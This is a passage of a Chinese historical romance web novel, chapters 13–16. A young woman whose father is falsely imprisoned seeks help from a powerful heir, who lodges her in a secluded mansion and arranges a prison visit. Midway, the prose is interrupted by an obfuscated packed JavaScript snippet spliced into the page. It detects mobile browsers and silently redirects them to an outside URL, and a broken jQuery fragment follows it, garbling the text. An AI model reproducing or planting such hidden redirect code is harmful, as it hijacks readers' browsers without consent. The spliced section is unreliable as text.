话里刚落,阮南枝就像听到了不可思议的事情一样,激动不已地瞪大美目看着她,急忙反驳道:“不可能!” 果然巧杏提起的话儿很管用,她一下子就被惊得睡意全无了,整个人的神经绷成了一条紧绷绷的线。 “可……”似是没料到小姐的反应竟然如此之大,巧杏也吓了一跳,一时忘了先前想说的话是什么来着,“奴婢瞧着江世子对小姐您好得有点不同寻常了。” “你之前不是也说过了吗,旁人都道靖国公世子谦和有礼,他对谁都这样的好,我又怎会是例外。”觉得巧杏给出的理由太过于牵强附会,阮南枝连连摇头,矢口否认,“他也对我说过,给我的这些帮助对他而言不过是举手之劳的小事,让我不必客气。即使他这么说,我依旧感激于他,不敢妄图非议恩人,这些话今日当着我的面讲讲就算了,日后万万不要再提及了。” 可巧杏总是觉得,世子对小姐 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她只觉得,能一直这样默默关注着江砚黎,偶尔与他说上一句话,就已经知足了。 怎敢奢望江砚黎也喜欢自己? 桃华娇媚的小脸上浮出淡淡的忧愁,柳眉紧蹙着,神色恹恹,万千心绪堵在喉头,终究只是化作一声轻不可闻的叹息。 马车径直驶回阮府。 回到了阮府后,阮南枝收拾好了心情,步履匆匆地赶到父亲的寝房。 恰在此时,仆从熬好了药,端至寝房正要喂服,见小姐到来,知晓阮大人之事小姐素来亲力亲为,便将药碗恭敬地递与她。 “枝枝去普济寺回来了?” 看到了女儿归来,阮礼的心情肉眼可见地变好了,脸上满是堆不住的笑意。 “嗯。来,爹爹,枝枝喂您喝药。” 阮南枝刚想抬手喂他喝药,阮礼便伸手拦住了她的动作,连忙说道:“枝枝有这份孝心,爹爹已经很感动了,我自己来便好。” “总不能,日日都这么麻烦枝枝吧。” 父亲不经意间的调笑,却让阮南没由来的一阵心塞,她闷闷地哼了一声:“日日麻烦又怎样,我与爹爹一直在一起,照顾你是我应该做的事。” 而阮礼笑着摇摇头,不知什么时候开始,父亲的头上已然出现了银丝,虽不明显,可她看了,不禁有些晃神。 “枝枝已经长大了,你要知道,爹爹总有一天会离开你,若是哪一日爹爹不在了,枝枝也要好好生活下去。” 阮南枝哪里听得了这种哀伤的话语,她抗拒地捂住了自己的耳朵,接连不断地摇着头。 “我不听,我不听,爹爹再说这种话,枝枝真的要生气了。” 脸上始终带着温软的笑意,阮礼轻轻叹了口气,眼底满是疼惜与无奈,似是纵容又似是感慨。 “傻枝枝……” 此时此刻的他,不过是随口一提,本无深意。哪承想,短短几日后,竟真的要面对与女儿分离的现实。 13. 灾祸 阴云四合,天光黯淡。 接连不断的拍门声哀哀响起,玉琢般的皓腕拍打着那木门,力道渐添几分急切。 一袭素衣勾勒出纤细的身形,单薄而楚楚可怜。门前之人柳眉紧蹙,似秋山含黛锁愁绪,双眸盈盈,泪意隐于其中,随时可能滑落。 朱唇已被咬得微微泛白,看得出来,此时女孩的内心十分慌乱。 “阮小姐,您请回吧。” 一位看门的奴仆见此情形,终是于心不忍,好言相劝道。 如此楚楚可怜的美人,他实在看不下去,奈何主人有令,断不能让她入内,他虽心有恻隐,却也只能遵令行事,不敢擅越半分。 “麻烦您再通传一下吧,爹爹遭逢急难,我在京中孤苦无依,并无其他亲眷可依,唯有堂舅能相助,还请帮帮我这一回!” 字字泣诉间,阮南枝的泪珠便如断线玉珠,顺着苍白颊畔缓缓滚落,声音也带了几分哽咽。 “这……”奴仆犯了难,纠结道,“阮小姐,不是小的不愿意帮您,实在是主人有令……” 他还没说完,大门就被忽地从里面打开了。 “吵什么吵!大早上的在我们林府哭丧什么呢,我们林家可没死人,真是晦气!” 林府内,走出了一个泼辣暴躁的年轻女子,她睨着无声落泪的阮南枝,神情满是不耐烦。 随后,不怀好意地嗤笑了起来: “哟,我当时是谁呢?这不是阮大人的女儿,阮南枝吗?” 此刻的阮南枝,已经无心顾暇面前之人恶意满满的脸色,她尽可能地将自己的姿态放得很低,可怜地垂着头,悲戚开口:“堂表姐,求您帮帮爹爹吧!” “从前两家虽疏了往来,可终究是血脉相连的亲眷,如今爹爹被诬陷,我实在走投无路,唯有堂舅能帮帮我们了……” 林曼香见她鬓发散乱、泪痕未干,一身素衣沾了泥污,往日里那点娇贵气荡然无存,眼底顿时掠过一抹得意,嘴角也随之畅快地勾起。 没错,两家人原是亲眷。 她爹爹是阮南枝娘亲的堂兄,只不过,她爹爹不过是京中一个从九品的芝麻小官,俸禄微薄、位卑言轻。而反观阮南枝的母亲林清妍,嫁与苏州刺史阮礼为妻,阮家风光无两。 一来二去,两家境遇差距越来越大,他们家自觉矮人一截,不愿再与阮家接触,渐渐便断了与他们的来往。当林清妍因生下阮南枝难产去世后,更是斩断了原有的那点血缘关系,从此之后再无一点交集。 虽早与阮家断了往来,或许是嫉妒之心作祟,林曼香总暗地打探着那位嫁得风光的堂姨之女阮南枝的消息。 听闻阮南枝生得粉雕玉琢、貌若仙姝,虽然是死了个娘,可那又如何,当值好差的阮礼可是将她宠上天,锦衣玉食地供着,事事顺着,有求必应! 再瞧瞧自己,自己的父亲品级不高,根本挤不进京中贵女圈。家中钱财少得可怜,日日只能穿些过时旧衣,再怎么梳妆也难掩寒酸,活脱脱东施效颦,这份落差让林曼香对阮南枝的厌恶愈发深切。 现如今亲眼所见曾经的娇宠少女落到这般落魄模样,让她积压许久的郁气终于顺了,心头只觉畅快又平衡。 “哼。”林曼香撑着手臂,傲气十足地冷笑了一声,眼底满是嫌恶,“如今知晓你爹私通旧党、图谋不轨,早已被官府收监查办!你竟还敢来求我们林家为他求情?” “这不是明摆着要拉我们全家陪葬,一起掉脑袋吗!” “不是……”构陷张口便来,阮南枝连连摇头,鬓边碎发凌乱地贴在颊上,“爹爹没有罪,他是被冤枉的!” 一脸不屑的林曼香对阮南枝的辩解置若罔闻,不愿多听一句。 从前阮家风光无限,是她望尘莫及的存在,如今他们遭此横祸,林曼香本就乐见其成,自然不肯去相信什么所谓的冤枉,只巴不得盼着他们再难翻身。 “好了好了!滚吧,别在我们林府门前哭丧!” 林曼香不耐烦地挥挥手,眉眼间都透着一股子幸灾乐祸的意味,笑容在她脸上扭曲开来,那副嘴脸,满是落井下石的恶意。 末了,还不忘添了一句诛心的话: “阮南枝,你可真是一个灾祸。你不仅克死了你娘,你还害了你爹,接近你的人,还真是都没有好下场啊。” 说完,她便难以自抑地哈哈大笑起来。 这样刻薄恶毒的话语,深深地刺痛了阮南枝的内心。 旁人的刁难,她尚能咬牙承受,唯独怕自己成为拖累,害了身边人。 长久以来,阮南枝总暗自觉得自己是个灾星,林曼香的字字句句,无疑精准刺中了她内心最深处的痛楚。 看着阮南枝的双肩抑制不住地颤抖起来,眼神空洞又绝望,一旁的巧杏再也忍不住了。 “够了!”她一把抱住了泪水满面的女孩,愤愤地说,“小姐我们走,这等落井下石的小人,我们不求也罢!” 巧杏咬着牙,将失去力气、只能默默流泪的阮南枝扶回一辆简陋的马车上。 事情来得突然,就在方才半夜,一道圣旨突然降临。皇上震怒之下,命大理寺将阮父捉拿入狱彻查。 缘由是阮礼任职的太常寺,本掌管皇室祭祀的物资调度与文书备案,被人告发借祭祀礼仪的隐秘流程传递旧党暗号,更暗中挪用珍贵祭器变卖,以此资助旧党余孽。 旨意一下,阮府当即被抄,万幸此案尚未定谳,阮南枝作为未参与其中的女眷,暂未被连坐问罪。 这等莫须有的罪名,阮南枝是半分也不肯信的。 她爹爹阮礼一生清正廉洁,素来奉公守法,对皇上忠心耿耿,怎会做出私通旧党、挪用祭器这等大逆不道之事? 可如今阮府已被官府封门,她孑然一身,已没有半分容身之处,总有冤情需要平反,却无处可诉。 阮南枝满心牵挂父亲的安危,父亲被抓时,身上风寒尚未痊愈,本就虚弱的身子,怎禁得住大牢里的折腾与拷问? 但她一介女流,既无门路在皇上面前递上只言片语,京中又无其他亲族可依,走投无路之下,才硬着头皮求助于在京任职 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“日后遇了什么难事,神明牵挂者众、无暇分身,没法即刻庇护你,尽管来找我便是。” 那日普济寺,他对她说的话语,还历历在目。 世子哥哥,真的愿意帮她吗?阮南枝有些恍惚。 毕竟刚才亲历的经历,让她痛心不已。连血脉相连的亲眷,在求助时都能肆意羞辱。 更遑论,江砚黎与她本就非亲非故。 他曾经帮助了自己,可他说那些对他而言都只是举手之劳的小事。如今父亲牵涉的是私通旧党这等滔天大罪,连皇上都亲自下旨彻查,足以看出对此事的重视,其严重性远非往日那些小打小闹可比。搞不好,便会被株连问罪。 江砚黎本就深得皇上看重,正是前程似锦、青云直上的时候,真的愿意为了她这个落难孤女,甘冒奇险蹚这趟足以毁了自己的凶险浑水吗? 阮南枝彻底没了底,心下犹疑不决。怎么看都觉得,江砚黎若是帮助自己,对他来说实在是百害而无一利。 应该不会有人愿意做这种亏本买卖。 可事到如今,她已经没了别的法子,寻求江砚黎的帮助,是当下唯一能够选择的一线生机。 思及父亲因风寒而变得孱弱的身子,阮南枝咬了咬唇,不敢再瞻前顾后。现在的情况已经不容得她再犹豫了,多拖一会儿,对父亲来说便是一份煎熬。 也只能死马当活马医,试一试。 决定已下,阮南枝坚定了眼神,抬起手中紧紧攥着一方帕子,胡乱擦了擦脸上还未干的泪痕。 “车夫,前往靖国公世子的临渊府。” 听到“靖国公世子”这几个字,巧杏心头猛地一惊,抬眼看向自家小姐苍白而坚定的侧脸,便瞬间懂得了她的决定。 是啊,老爷蒙冤入狱,亲眷冷眼羞辱,此时此刻,除了求助于那位权势不凡的江世子,竟真的再无其他出路了。 14. 求他 马车匆匆驶向临渊府,甫一到达,便有人迎了上来,像是早已在门口等候阮南枝多时一般。 “来人可是阮小姐?” 听到外面的人精准无误地叫出了自己的姓氏,阮南枝颇有些疑惑地掀开了窗帘,一个管家模样的人出现在了她们的视野之中。 小脸上满是怔然,她迟疑地点了点头,还未等她开口回应,那人就已经躬下身来,恭恭敬敬地朝她行了一礼。 “在下是临渊府刘管家,马车径直驶入便好。阮小姐,世子已在府内等候您了。” 一丝疑虑闪过,太多疑问未解,可眼下父亲的情况紧急,已经容不得阮南枝多想。 得了刘管家的吩咐,马车驶进临渊府中,行了一会儿,便在正院前停了下来。 “阮小姐,世子就在这里,您请进吧。” 略一点头向刘管家表示致意后,阮南枝二话不说,便提着裙摆匆匆踏入主院,鬓边银钗随着她的动作而摇摇晃动。 纤纤素手推开房门,抬眼撞见座上丰神昳丽的玄衣男人,顿时无数委屈与悲伤齐齐涌上心头,一时间膝弯发软,竟直直跪了下去。 裙摆散开如折翼的蝶,女孩眼眶泛红,喉间溢出一声细碎的哽咽,楚楚可怜得令人怜惜。 “世子……求您……求您帮帮我的父亲!” 一双湿漉漉的杏眼急切又恳切地望着座上之人,长而浓密的睫毛上挂着晶莹的泪珠,蓄了满眶水光终是撑不住,顺着眼尾缓缓滑落,划过莹白的面颊。 顾不上擦拭自己的泪水,阮南枝双手扶地,任由额前的青丝散乱垂落。伴着一声啜泣,光洁的额头贴向地面,重重磕了下去。 纵使地面上铺设着华贵柔软的地毯,但由于用力过猛,再抬起时,女孩的眉心间还是染上了淡淡的红痕。 见此情形,座上的男人微不可察地皱起眉头,再也无法冷静。 虽是早有料想,小姑娘会因为这一突发的变故而伤心失落,却也没有想到她会哭得如此可怜。 甚至毫不犹疑地朝他磕头。 江砚黎迅速起身,伸出一双大掌牢牢地抓住了阮南枝皓白纤细的手腕,力道不容推辞地将她从地面上扶起,沉沉的目光掠过她眉间红痕与泪水,眸色不由得软了几分。 “起来,地上凉。” 随即,他从袖中取出一方手帕,递到她面前,动作略显僵硬,不甚熟练地替女孩擦拭着源源不断往下流的眼泪:“别哭。” 男人的声音低沉温润,动作轻缓温柔,这反而让经历了父亲被冤枉而倍受煎熬的阮南枝更加委屈得想哭了,泪水就像决堤的洪水一般,怎么也止不住。 “世子,求您……求您,帮帮我,我父亲是被冤枉的……” “私通旧党之罪名,全是污蔑,父亲一生忠君爱国,连晚节都看得比性命重,怎会做这等背主求荣之事?” “如今府中上下被抄,父亲身子未好,关在大牢生死未卜,我走投无路,只能来求您……世子,只有您能撼动那些构陷之人,求您为我父亲伸冤,还他一个清白!” 阮南枝的目光里满是孤注一掷的恳求,她将姿态放得最低,苦苦哀求着眼前的男人,只求他愿意施予援助之手。 “只要……世子您能帮帮我,无论让我做什么都可以。” “为奴为婢,或为世子献身,我都心甘情愿,绝无半分怨言……” 她还想继续说些什么以剖白心迹,甚至试图抬起手,解开自己的衣裳。 然而,话音刚起,江砚黎便已薄唇轻启,淡声应下: “好,我帮你。” 诶? 泪水还凝在纤长的睫毛上,猝不及防听见那句应承,倏地睁大了盈满水光的美眸,怔怔望着他。 眼底的绝望还未散去,又忽然浮现几分难以置信的茫然,像迷路的幼鹿撞见突如其来的微光,连哽咽都忘了,只呆呆萌萌地望着他,一时竟忘了言语。 见她懵懂怔愣的模样,江砚黎不由得松了一口气。 比起方才哭得泪水涟涟、惹得他心头泛涩的模样,他显然更乐于见到这般憨态可掬的她。 “我帮你,所以……”那张俊美的脸忽而抵近,在她呼吸微窒的时候,温柔低下头来,眸子中倒映着的满满都是她。 “不要再哭了,嗯?” 这般勾人魂魄的面容杀伤力太大,阮南枝只会愣愣地看着他,丹唇微张,此时晕胀的大脑一片混乱。 半晌,她才猛然回过神来,意识到江砚黎竟然毫不犹豫地就答应了自己的请求。 这可是皇上亲下圣旨彻查的私通旧党大案,非同小可,稍有不慎便会引火烧身,他竟连半分犹豫都没有,不假思索就答应帮她父亲伸冤? “世子,您方才答应的,可是真的……?”不敢置信的阮南枝,再次讶然开口询问。 江砚黎勾起笑意浅浅的嘴角,缓缓点了点头:“自然是真的。” 面上的神情不至于严肃,却也看得出来,他是认真的。 “别怕,既应了帮你,我便不会食言。” 身材颀长、出尘般完美的男人,拉起女孩的手,不由分说地将她按在椅子上坐好。 他并未居高临下地站着,反倒屈膝蹲下身,与她平视,墨色的眼眸里褪去了往日的淡漠,耐心地安慰哄劝道:“枝枝,你听我说。” “你父亲任苏州刺史时,曾严查当地权贵勾结盐商偷税的大案,而我恰好领钦差巡盐御史之职,主抓全国盐税征管。虽未曾与他有过太多交集,但他为官清正、刚正不阿的名声,我早有耳闻,也深知他绝非会私通旧党的人。所以,这所谓私通旧党的指控,在我看来,分明就是构陷诬告。” “我会将此事原委据实禀明皇上,彻查此案,定会为你父亲洗刷冤屈、还他清白,绝不让他平白蒙受这不白之冤。” 男人替她父亲辩明清白的话语,深深击中了阮南枝的内心,此刻孤苦无依的她,正需要这样一个能够帮她父亲说话的人。 女孩鼻尖一酸,眼眶又忍不住泛红,可是一想到砚黎哥哥刚才说让她不要再哭了,于是强忍着泪意,瓮声瓮气地低声道:“谢谢砚黎哥哥……” 眼前美人倩影窈窕,哪怕是哭得失了往日端庄整洁的仪容,也不足以影响她那花容月颜的美貌。 江砚黎露出一丝无奈的笑,低沉悦耳的男声响起: “大牢阴寒刺骨 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江砚黎无所谓地勾起唇,只是突然发觉,现在两人的姿势和距离,足以让他将女孩的粉颈、锁骨一览无余,甚至于齐胸的裙襟前,那对起伏不定的丰满的雪乳…… 只随意扫过那一眼,他的嗓子就不可控制地变得干涩起来。 暗郁的眸底有什么无法言明的情愫正在破开。 他的喉结不明显地滚了滚,随后直起峻挺的身子来,状似不经意地提起:“对了,如今你的去处……” 提起她的去处这件事,那张精致秀气的小脸立刻又耷拉了下去,阮南枝悻悻回道:“阮府早已被官府封锁,我如今已是无处可去。不过没关系,只要爹爹能沉冤得雪,平安无事,我自己的去处倒也无所谓了。” 闻言,像是正中下怀一般,江砚黎慢条斯理地笑了一下,黯黑的眸子中闪烁着意味不明的光芒。 “此案牵连甚广,没有数月怕是难以彻查清楚。若是将你安置在旅店,时日一长终究多有不便,也难避闲言碎语……我在城南有一处僻静宅院,平日无人打理,空着也是可惜。枝枝若是不嫌弃,不如便暂且住到那里去?” “一来你能住得安稳,二来你父亲有任何消息,我也能第一时间告知你,不必让你悬心等候。” 这……阮南枝惊讶地看向他,心中思绪纷繁。 世子待她竟如此周全贴心,她的心头涌上一阵难以言喻的暖意,夹杂着几分受宠若惊的惶恐,只觉自己实在承受不起这份厚待。 刚要开口婉拒,可话到嘴边又咽了回去,毕竟,他给出的理由实在太过合理,尤其自己忧心于父亲的案件,自然是想第一时间知道父亲的消息,这让她根本无法推辞。 阮南枝怯生生地抬眸,一双水光幽滟的杏眼显得格外楚楚可怜。轻细软糯的声音,迟疑着开口:“世子哥哥待我这般好,还为我妥善安排好了住处……日后,枝枝不知道该如何报答你才好?” “不必谈什么报答。”目光落在她泛红的眼尾上,神色从容的男人低声笑着。 念及她素来自尊心强,又不愿无功受禄,江砚黎略一思忖,添了句: “若是你实在觉得过意不去,就当先欠着我一份情吧。” 15. 外室? 一直在外面等候着的巧杏急得像热锅上的蚂蚁,却也只能干等着。 倒是一旁的刘管家不紧不慢地对她笑了笑,态度和蔼谦恭地请她到隔壁厅堂稍作歇息等待。 但巧杏满心记挂着自家小姐与阮家阮大人的事,哪里有歇息的心思?她婉言谢绝后,焦急地在门外候着。 然而不多时,眼瞧着乌恪从里面出来后,她眼睛一亮,刚想上去询问什么情况,只见乌恪朝她递了一个安心的眼神,却不言语。 有些摸不着头脑的巧杏更加疑惑不解了,一颗心七上八下地跳着。 随着房门的打开,自家小姐走了出来,少女莹白如雪的面容上已经重新绽出娇媚动人的笑容,因方才哭泣而发红的眼尾显得格外显眼,娇靥粉腮,灿若春华。 “小姐!”再次见到阮南枝的笑颜,巧杏心下一松,加之先前乌恪那安抚的眼神,她已经大概猜出了什么,立即迎了上去。 “巧杏,世子答应帮爹爹了。”阮南枝莞尔一笑,双颊扬起甜甜的笑意。 果不其然,巧杏松了一口气,她紧绷的神经霎时松了下来,眼底的焦灼褪去大半,唇角也不自觉地跟着自家小姐浮出一丝笑容。 然而……正当她沉浸在阮家有望洗清诬陷的喜悦,跟随着阮南枝乘着世子府上的马车来到一处宅子时,巧杏心中顿生一个不好的猜测,瞬间又笑不出来了。 “小姐……这里是?” 阮南枝已经下了马车,她环顾四周,看到两侧栽种着锦绣繁花,香气四溢。 迷山倚石,莲池雕阁,景致秀美幽雅。 “世子哥哥借我落脚的这处宅子,也太奢华了吧……”女孩的语气中满是惊叹,神情也一副受宠若惊的模样。 听清了自家小姐说的什么话,巧杏内心大骇,背后直冒冷汗。 所以这处鎏金裹玉、奢华无匹的宅院,竟然是靖国公世子特意给她们小姐安排的落脚地? 望着满苑的别致景观,身为阮南枝婢女的她本该为小姐有了落脚处而感到开心,可是,她却怎么样也开心不起来。 心里隐隐约约觉察到有什么不对。 这般奢华又藏在僻静巷弄的宅子,少为人知,分明是刻意掩人耳目,哪有世家公子会这般隐秘地用心。 她越想越慌,世子身份尊贵,小姐虽家世清白,可现在毕竟是蒙冤之臣的女儿,他这般悄无声息地安置,难道是……是想将小姐藏在此处,做那见不得光的外室? 这个念头一冒出来,巧杏呼吸一窒。 满院的珠光宝气在她的眼中已然失去了颜色,反倒成了困住一座奢华无比的金牢笼。 哪怕世子并无此心思,可若被外人知晓,老爷蒙冤之际,小姐一直被他安置在这处隐秘宅院里,难免不会传出些不清不楚的闲话,到时候污了小姐的清誉,可怎么得了! 于是乎,巧杏强压下内心的震撼,尽量让自己颤抖的声线恢复平静,斟酌着措辞提醒面前还一副天真烂漫的小姐: “小姐,您可听说过金屋藏娇的典故?” 阮南枝只是在男女之事上略显迟钝,但她毕竟是个聪慧伶俐的性子,又熟读典籍诗书,一下子就听出了巧杏的弦外之音。 她惊惧地睁大了眼儿,一把捂住了巧杏的嘴巴,色厉内荏地软声斥责道:“巧杏你不要老是胡说!” “世子哥哥是个好人,在都察院任职专管盐税征管,而爹爹先前在苏州就正好处理过一桩盐商偷税之案,他知晓爹爹的为人,因此才决定帮助爹爹洗清诬陷。” “如今阮府被官府封了,我们没了去处,他知道后,便好意让我暂居在这处闲置已久的宅院。毕竟住在旅店总归不是长久之计,在此处住下,他也能及时将爹爹的新消息传递给我。” “所以,你就不要再说这些话,白白污损世子哥哥光风霁月的名声了。” 说到最后,女孩略微伤心地低下了头,哀哀叹了一声。 “他对我这样好,只是因为他人好罢了,对我根本没有那种意思……” 真的是这样吗?听了阮南枝的这些话,巧杏也不知道该怎么办了。 她抿了抿唇,带着几分忐忑的试探,问: “小姐,奴婢斗胆问一句……您是不是喜欢上世子了?” 闻言,那张粉白玉润的脸儿娇娆的红艳长睫低垂,试图掩去眸底翻涌的羞赧。 可不过片刻,面颊上那抹绯红便淡了下去,取而代之的是眉眼间一抹挥之不去的怅然。 “喜欢又如何呢……爹爹的冤屈未雪,我与他,本就隔着云泥之别。” “如今,我更不敢奢求什么了,只求能这样远远地仰望他,便好。” 此时看的这幅模样的阮南枝,巧杏从未觉得自己这么嘴笨,满肚子安慰的话都堵在了喉咙。 在她看来,小姐配世子再好不过,可现在阮家失了事,又怕戳中小姐的痛处。冤屈未雪,一切安慰都太过苍白。 于是,最终只讷讷道:“小姐……您别难过了,既然您这么说,世子是好人,他一定会帮老爷洗清冤屈的。” “您和他……也总会有希望的。” 阮南枝心知巧杏的话语不过是安慰她罢了,心里并没有抱着什么希望。 现在这样就好。 这一日,经历了圣旨忽下父亲被抓,奔波至堂舅府求助无果,走投无路下又赶往临渊府寻求世子帮助……连番折腾下来,阮南枝早已累坏了。 躺在舒适宽大的床榻上,身下铺着三层软垫,最外层是华贵的织金锦缎,内里衬着雪白狐裘。 乌润亮丽的发丝如瀑般散落在枕上,两侧挂着的鲛绡帐幔垂落半边,影影绰绰的,衬得内里女孩姣美的面容,更添了几分朦胧柔艳。 父亲之事来得猝不及防,阮南枝彻夜未眠,如今总算得了妥善安置,心中的那块大石头落了地。 她困得眼皮重如千斤,意识渐渐模糊之际,昏沉抬眼,看见床头悬着一个绣着平安符的香包。 嗯?怎么感觉,瞧着莫名熟悉? 心头掠过一丝疑惑,还没来得及细想为何她会觉得这物什熟悉,浓重的睡意便席卷而来,眼皮一合,很快就沉沉睡了过去。 昨日忙完已是薄暮时分,她在景安苑沾枕而眠,竟是一觉酣眠到次日午后,连梦都未曾做过一个,睡得格外香甜安稳。 午后,此刻在外厅的巧杏,正小心翼翼地为座上那个俊美无俦的男人奉茶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819546|190853||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “世子,奴婢这便去唤小姐起身吧。” 巧杏心里直打鼓,她们小姐本就爱睡懒觉,更何况昨日一路奔波劳累,若是不去唤她,想来要许久才能醒来。 世子来得这般突然,她实在害怕让如此尊贵傲然的人物,在这儿枯等小姐起床。 若是等得太久,惹得他不快,可怎么办? “不必。” 江砚黎抬手止住了她想要去叫阮南枝起床的脚步,淡淡地说道,“她昨日累了,就让她睡到自然醒吧,我没什么急事,在这儿等她便好。” 巧杏闻言一愣,心头那股惴惴不安劲儿消了大半。 她暗暗想着,世子果然如小姐说的那样,十分体恤人,没有半分权贵的骄矜。 过了好久,寝房里的阮南枝才悠悠转醒。 她支起身子,呆愣愣地盯着四周的陌生的景象发呆了半晌,这才回过神来,如今自己已经住入了景安苑。 “巧杏?” 听到小姐正唤自己,巧杏连忙轻声推开房门进去,她瞧着阮南枝的惺忪睡眼,悄声对她说:“小姐,世子来了。” 听闻此言,阮南枝明显有些惊诧。 她一把抓住巧杏的手,焦急询问道:“世子哥哥来了?他何时来的?来了多久了?” “申时三刻便到了……” “什么?!”女孩顾不上别的,她急匆匆地起身,着急忙慌地让巧杏替自己更衣,“你怎么不来叫我起床呢?怎么能让世子哥哥白白等这么久?” 世子不让叫您起床嘛……巧杏无辜地在心中默默念着,手上的动作一刻没慢地替阮南枝更衣洗漱。 那雕花衣橱一推开,便见满柜绫罗绸缎流光溢彩,晃得巧杏眼都花了。 各式华贵服饰按色阶整整齐齐地叠放着,件件皆是上等料子,纹样繁复。配饰也一应俱全,连同绣鞋都搭配得妥妥帖帖,显然是世子特意为小姐精心备下的,竟这般周全。 阮南枝换上一身妃色的纱衫,素净的底色使得女孩的肌肤看起来胜雪一般,眉眼也十分清丽动人。 当她以这幅几分出尘的姣丽之态,出现在江砚黎眼前时,男人深邃的眼眸瞬间变得更加深沉。 “砚黎哥哥!” 言笑晏晏的阮南枝乖巧温顺地凑到他的身边,语气中满是惊喜和开心:“你来啦?不好意思啊,让你久等了。” “嗯。”江砚黎望着她,眉梢微扬,喉间低低溢出一声轻笑,“不久。” “怎么样,这里住的可还舒适?” 他漫不经心地抿了一口清茶,俊儒冠玉的面上温和染笑。 “这儿可好了,多谢砚黎哥哥。”阮南枝说得可真心实意了,要不然,她怎么能一觉睡这么久呢。 说话时,那又长又浓密的睫毛像一把小刷子扑闪扑闪的,光泽潋滟的眸子正认真点地看着他,瞧起来可爱极了,看得江砚黎忍不住想要掐上一把她那细腻光滑的脸蛋。 “若是还缺什么,尽管和我说便是。” 强压下心中的悸动和难以言喻的反应,男人面上保持着一派温润优雅,彬彬有礼地勾出一抹笑意。 “好。”她浑然未觉,弯了弯眉眼,高兴地点了点头。 16. 见父亲 “你刚醒,先用些东西。用膳之后,我便带你去牢中见你父亲。” 什么? 听到江砚黎这么说,阮南枝喜出望外,顿时睁大了她那盈盈笑眼。 “真的么?砚黎哥哥,真的太谢谢你了!” 一想到即将得以见到自己的父亲,阮南枝根本没有心情吃东西。 她草草吃了几口后,迫不及待地拉了拉男人的衣袖,兴冲冲地让他带自己前往。 大牢寒冻难耐,纵使阮南枝已经提前做好了心理准备,可当在亲眼目睹到这样破败不堪、寒气浸骨的环境时,一颗心还是不由得悬到了嗓子眼。 “别担心。” 像是从女孩频频颦眉的神情中感受到了她的担忧焦急,江砚黎淡淡开口。 他抬手,动作轻缓地替面前之人理了理被风吹乱的披风,低沉平稳的自带着一种安抚人心的力量。 随后,一名身材粗壮的狱卒快步迎上,见了江砚黎,忙收敛起脸上的凶气,躬身行了个礼,语气恭敬有加:“参见世子,这边请。” 阮南枝紧抿着唇,亦步亦趋地跟在江砚黎的身后,两人往楼上走去。 拾级而上,上面一楼竟是另一番景象。廊道干净整洁,不复楼下的阴湿污秽,连这儿的空气都清爽了许多。 在一扇漆色略新的木门前站定后,江砚黎侧首看向又紧张又期待的女孩,唇边勾起一抹浅笑。 “你父亲就在里面,进去吧,好好聊,我在外边等你。” 男人温润和缓的话语,给予了阮南枝莫大的慰藉,她回以一个略显腼腆但充满感激的微笑:“嗯。” 她敲了两声门,随即推门而入。 正在独自下棋的阮礼,听到开门声后,抬起了眼,看见来人竟是自己的女儿,先是一怔,下一刻顿时欣喜得声音都拔高了几分,连日来的愁苦一扫而空,内心是满满的激动。 “枝枝?你怎么来了?” “爹爹!” 朝思暮想的父亲终于再次出现在自己的眼前,阮南枝瞬间红了眼眶,她立刻扑进阮礼的怀里,眼泪簌簌地往下掉,“爹爹,这两日枝枝好担心您,您没事吧……” “乖女儿,爹爹没事。”宽厚的大掌落到了她的头上,阮礼笑着安慰自己的女儿,内心感慨万分,“让枝枝担心了。” 千言万语涌在心头,两父女对视片刻,竟不知从何说起。阮南枝鼻尖泛红,委屈地皱着鼻子,眼眶里打转的泪珠将落未落,满眼都是对父亲的疼惜。 见她这副强忍难过的模样,阮礼又心疼又好笑,忍不住笑了出来。 “爹爹还笑!”爹爹望着自己兀自笑起来,阮南枝嗔怪着跺了跺脚,两人紧绷的心情也随之放松了许多。 “这纸状告来得突然,但爹爹没做过私通旧党之事,身正不怕影子斜,自然也无须担忧,总会有查明真相的那一天。” 思及这件事,阮礼叹了一口气,“只是要苦了枝枝,恐怕在事情查明之前,爹爹都无法陪在你身边护着你了,这段时日,你自己要多多保重。” 闻言,阮南枝摇了摇头,乖乖地回道:“枝枝没事的,爹爹才要多当心,您的风寒还没好利索,这大牢里,千万千万要保重好自己的身子。” “我的风寒已经好全了。虽在狱中,竟有太医亲来诊治,用药精准,恢复得倒比寻常时候还快些。”阮礼顿了顿,手指摩挲着下巴,一副百思不解的模样,目光落在阮南枝的脸上,探究意味满满。 “除了太医,我又为何突然被移送到这处环境好上百倍的牢房?往日那等阴湿狭小之地,与这儿简直天差地别。更要紧的是……” “按理来说,我的案子还在审理,未有定论,你本是不被应允探监的,如今却能毫无阻碍地站在这里……这里头,怕是有什么不寻常的缘故吧?” 思绪又飘回到了那日,太子毫无预兆地突然召见他,见面后,竟对他问了一些诸如女儿是否已有婚配等诸如此类莫名其妙的话。 阮礼心中一惊,顿时生出一个不好的猜测。 莫非……真的是太子看上了自己的女儿,因此才会这般格外优待自己吗?若是不然,他实在想不出其他任何可能。 而阮南枝对此一无所知,她哪里会想到父亲心中早已转过这许多念头,竟还误会了太子对自己有意。 父亲最是了解她的心思,她生怕在父亲面前提及江砚黎,会不小心暴露自己暗藏的情愫,于是睫毛微颤,垂下眼帘,小小声地嗫嚅道:“是……是靖国公世子帮忙的。世子久闻您清正不阿的名声,知道您绝非私通旧党的人,因此才特意出手照拂您。” “靖国公世子?”有些惊讶的阮礼先是一愣,随即迟疑着点了点头。他对这位世子的印象,还停留在上次春日宴上。 彼时正是他出手相助,帮南枝洗清了嫌疑,是以阮礼对他颇有好感。 没想到这次竟也是他出手帮助。 但传闻,靖国公世子与太子是挚友,该不会世子之举……是受太子所托吧? 总觉得自己触及了什么真相,阮礼顿悟了。 “如今阮府被封,枝枝又是在何处安身呢?”想到了这个于他而言最重要的问题,老父亲不由得再次变得忧心起来。 